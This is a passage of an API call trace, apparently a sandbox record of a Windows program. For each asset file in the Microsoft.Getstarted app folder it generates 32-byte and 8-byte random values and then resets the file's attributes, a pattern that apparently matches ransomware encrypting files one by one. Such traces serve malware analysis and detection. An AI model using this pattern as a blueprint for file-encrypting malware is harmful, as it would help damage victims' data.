dwLen=0x20, pbBuffer=0x33b5c10 | out: pbBuffer=0x33b5c10) returned 1 [0218.996] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee5c8 | out: pbBuffer=0x30ee5c8) returned 1 [0218.996] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0218.997] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b5d18 | out: pbBuffer=0x33b5d18) returned 1 [0218.997] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee6b8 | out: pbBuffer=0x30ee6b8) returned 1 [0218.997] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0218.997] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b4140 | out: pbBuffer=0x33b4140) returned 1 [0218.997] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37371f0 | out: pbBuffer=0x37371f0) returned 1 [0218.997] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.998] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d0bb8 | out: pbBuffer=0x34d0bb8) returned 1 [0218.998] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737170 | out: pbBuffer=0x3737170) returned 1 [0218.998] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedStoreLogo.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0218.998] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d08a0 | out: pbBuffer=0x34d08a0) returned 1 [0218.998] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37370a0 | out: pbBuffer=0x37370a0) returned 1 [0218.998] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedStoreLogo.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0218.998] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d09a8 | out: pbBuffer=0x34d09a8) returned 1 [0218.998] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737160 | out: pbBuffer=0x3737160) returned 1 [0218.998] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedStoreLogo.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.998] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d12f0 | out: pbBuffer=0x34d12f0) returned 1 [0218.998] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737180 | out: pbBuffer=0x3737180) returned 1 [0218.998] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0218.998] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d0270 | out: pbBuffer=0x34d0270) returned 1 [0218.998] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737190 | out: pbBuffer=0x3737190) returned 1 [0218.999] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0218.999] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d0480 | out: pbBuffer=0x34d0480) returned 1 [0218.999] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37371a0 | out: pbBuffer=0x37371a0) returned 1 [0218.999] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.999] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d13f8 | out: pbBuffer=0x34d13f8) returned 1 [0218.999] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37370d0 | out: pbBuffer=0x37370d0) returned 1 [0218.999] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0218.999] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d1920 | out: pbBuffer=0x34d1920) returned 1 [0218.999] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37371d0 | out: pbBuffer=0x37371d0) returned 1 [0218.999] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.000] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d1608 | out: pbBuffer=0x34d1608) returned 1 [0219.000] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737200 | out: pbBuffer=0x3737200) returned 1 [0219.000] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0219.000] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d1c38 | out: pbBuffer=0x34d1c38) returned 1 [0219.000] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37370e0 | out: pbBuffer=0x37370e0) returned 1 [0219.000] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.000] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d0ab0 | out: pbBuffer=0x34d0ab0) returned 1 [0219.000] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737240 | out: pbBuffer=0x3737240) returned 1 [0219.000] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.000] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d1a28 | out: pbBuffer=0x34d1a28) returned 1 [0219.000] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737130 | out: pbBuffer=0x3737130) returned 1 [0219.001] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0219.001] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d1500 | out: pbBuffer=0x34d1500) returned 1 [0219.001] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737150 | out: pbBuffer=0x3737150) returned 1 [0219.001] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.001] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d0798 | out: pbBuffer=0x34d0798) returned 1 [0219.001] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737070 | out: pbBuffer=0x3737070) returned 1 [0219.001] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d0168 | out: pbBuffer=0x34d0168) returned 1 [0219.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37370f0 | out: pbBuffer=0x37370f0) returned 1 [0219.002] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0219.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d1d40 | out: pbBuffer=0x34d1d40) returned 1 [0219.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37371b0 | out: pbBuffer=0x37371b0) returned 1 [0219.002] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d10e0 | out: pbBuffer=0x34d10e0) returned 1 [0219.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737100 | out: pbBuffer=0x3737100) returned 1 [0219.002] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d0cc0 | out: pbBuffer=0x34d0cc0) returned 1 [0219.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737060 | out: pbBuffer=0x3737060) returned 1 [0219.003] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_altform-unplated_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d1e48 | out: pbBuffer=0x34d1e48) returned 1 [0219.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737230 | out: pbBuffer=0x3737230) returned 1 [0219.003] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_altform-unplated_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d0588 | out: pbBuffer=0x34d0588) returned 1 [0219.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37371e0 | out: pbBuffer=0x37371e0) returned 1 [0219.003] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0219.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d0dc8 | out: pbBuffer=0x34d0dc8) returned 1 [0219.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37370b0 | out: pbBuffer=0x37370b0) returned 1 [0219.003] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96.png", dwFileAttributes=0x80) returned 0 [0219.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d0ed0 | out: pbBuffer=0x34d0ed0) returned 1 [0219.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737110 | out: pbBuffer=0x3737110) returned 1 [0219.004] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d0378 | out: pbBuffer=0x34d0378) returned 1 [0219.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737050 | out: pbBuffer=0x3737050) returned 1 [0219.004] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d0690 | out: pbBuffer=0x34d0690) returned 1 [0219.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737220 | out: pbBuffer=0x3737220) returned 1 [0219.005] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_altform-unplated_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d1b30 | out: pbBuffer=0x34d1b30) returned 1 [0219.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37371c0 | out: pbBuffer=0x37371c0) returned 1 [0219.005] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_altform-unplated_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d0fd8 | out: pbBuffer=0x34d0fd8) returned 1 [0219.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737120 | out: pbBuffer=0x3737120) returned 1 [0219.006] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0219.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d11e8 | out: pbBuffer=0x34d11e8) returned 1 [0219.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737140 | out: pbBuffer=0x3737140) returned 1 [0219.006] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80.png", dwFileAttributes=0x80) returned 0 [0219.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d1f50 | out: pbBuffer=0x34d1f50) returned 1 [0219.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737210 | out: pbBuffer=0x3737210) returned 1 [0219.006] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d1710 | out: pbBuffer=0x34d1710) returned 1 [0219.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737080 | out: pbBuffer=0x3737080) returned 1 [0219.006] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d1818 | out: pbBuffer=0x34d1818) returned 1 [0219.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737090 | out: pbBuffer=0x3737090) returned 1 [0219.007] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_altform-unplated_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2058 | out: pbBuffer=0x34d2058) returned 1 [0219.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37370c0 | out: pbBuffer=0x37370c0) returned 1 [0219.007] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_altform-unplated_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2160 | out: pbBuffer=0x34d2160) returned 1 [0219.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737380 | out: pbBuffer=0x3737380) returned 1 [0219.007] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0219.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2268 | out: pbBuffer=0x34d2268) returned 1 [0219.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37372c0 | out: pbBuffer=0x37372c0) returned 1 [0219.007] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72.png", dwFileAttributes=0x80) returned 0 [0219.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d32e8 | out: pbBuffer=0x34d32e8) returned 1 [0219.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737410 | out: pbBuffer=0x3737410) returned 1 [0219.008] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d3f48 | out: pbBuffer=0x34d3f48) returned 1 [0219.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37373c0 | out: pbBuffer=0x37373c0) returned 1 [0219.009] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d3d38 | out: pbBuffer=0x34d3d38) returned 1 [0219.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737320 | out: pbBuffer=0x3737320) returned 1 [0219.010] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_altform-unplated_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2aa8 | out: pbBuffer=0x34d2aa8) returned 1 [0219.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37373f0 | out: pbBuffer=0x37373f0) returned 1 [0219.010] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_altform-unplated_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2ec8 | out: pbBuffer=0x34d2ec8) returned 1 [0219.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737250 | out: pbBuffer=0x3737250) returned 1 [0219.010] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0219.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d3708 | out: pbBuffer=0x34d3708) returned 1 [0219.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37372e0 | out: pbBuffer=0x37372e0) returned 1 [0219.010] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64.png", dwFileAttributes=0x80) returned 0 [0219.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d34f8 | out: pbBuffer=0x34d34f8) returned 1 [0219.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37372f0 | out: pbBuffer=0x37372f0) returned 1 [0219.011] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.011] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d33f0 | out: pbBuffer=0x34d33f0) returned 1 [0219.011] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37372a0 | out: pbBuffer=0x37372a0) returned 1 [0219.011] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.011] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d3c30 | out: pbBuffer=0x34d3c30) returned 1 [0219.011] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737330 | out: pbBuffer=0x3737330) returned 1 [0219.011] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_altform-unplated_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2370 | out: pbBuffer=0x34d2370) returned 1 [0219.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737300 | out: pbBuffer=0x3737300) returned 1 [0219.012] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_altform-unplated_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2790 | out: pbBuffer=0x34d2790) returned 1 [0219.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737310 | out: pbBuffer=0x3737310) returned 1 [0219.012] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0219.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2cb8 | out: pbBuffer=0x34d2cb8) returned 1 [0219.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737340 | out: pbBuffer=0x3737340) returned 1 [0219.012] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60.png", dwFileAttributes=0x80) returned 0 [0219.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d3b28 | out: pbBuffer=0x34d3b28) returned 1 [0219.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37372d0 | out: pbBuffer=0x37372d0) returned 1 [0219.013] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d3e40 | out: pbBuffer=0x34d3e40) returned 1 [0219.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737350 | out: pbBuffer=0x3737350) returned 1 [0219.013] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2478 | out: pbBuffer=0x34d2478) returned 1 [0219.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737390 | out: pbBuffer=0x3737390) returned 1 [0219.014] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_altform-unplated_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d29a0 | out: pbBuffer=0x34d29a0) returned 1 [0219.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37372b0 | out: pbBuffer=0x37372b0) returned 1 [0219.014] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_altform-unplated_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d3600 | out: pbBuffer=0x34d3600) returned 1 [0219.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37373e0 | out: pbBuffer=0x37373e0) returned 1 [0219.014] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0219.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d3810 | out: pbBuffer=0x34d3810) returned 1 [0219.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737360 | out: pbBuffer=0x3737360) returned 1 [0219.015] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48.png", dwFileAttributes=0x80) returned 0 [0219.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d30d8 | out: pbBuffer=0x34d30d8) returned 1 [0219.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737260 | out: pbBuffer=0x3737260) returned 1 [0219.015] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4158 | out: pbBuffer=0x34d4158) returned 1 [0219.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737270 | out: pbBuffer=0x3737270) returned 1 [0219.015] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2898 | out: pbBuffer=0x34d2898) returned 1 [0219.016] CryptGenRandom (in: 